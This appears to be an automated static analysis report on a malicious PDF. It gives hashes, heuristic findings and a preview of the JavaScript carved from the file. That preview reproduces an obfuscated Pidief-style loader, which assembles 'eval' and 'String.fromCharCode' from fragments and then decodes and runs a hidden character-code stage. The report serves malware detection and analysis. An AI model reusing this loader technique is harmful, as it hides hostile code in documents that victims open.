Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab98cb28b362d3f5…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-10-23
MD5: 49582d8cc55dfdd5af139f6557b5071a SHA-1: 207044c563285d041b60c8b21f26c1d9d91369af SHA-256: ab98cb28b362d3f5e4c2ecfbec0a26f7a9a158fd4bdf02306dbaad14e534b1f3
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB04A 500 bytes
SHA-256: 1040221223612195c43a5f8cbfff7d7f4ddb9373264548dab8defe32ba9c0d23
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[1],t[0]);
e=v[v]()[s];
mxcej=e(v[4]+'i'.concat(v[4],t));
q=mxcej[v](a.length-6,a.length+2);
xojb=e(v[0].toUpperCase().concat(v[4],'r','i','ng.f',q[4],a[6],q));
q=mxcej[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en','gth')];
i=t.length-2;
while(i<k){
	qoav = 1*(q[i]);
	i++;
	qoav -= (-1)*(q[i]);
	s2 = s2.concat(xojb(qoav));
	i++;
}
e(s2);

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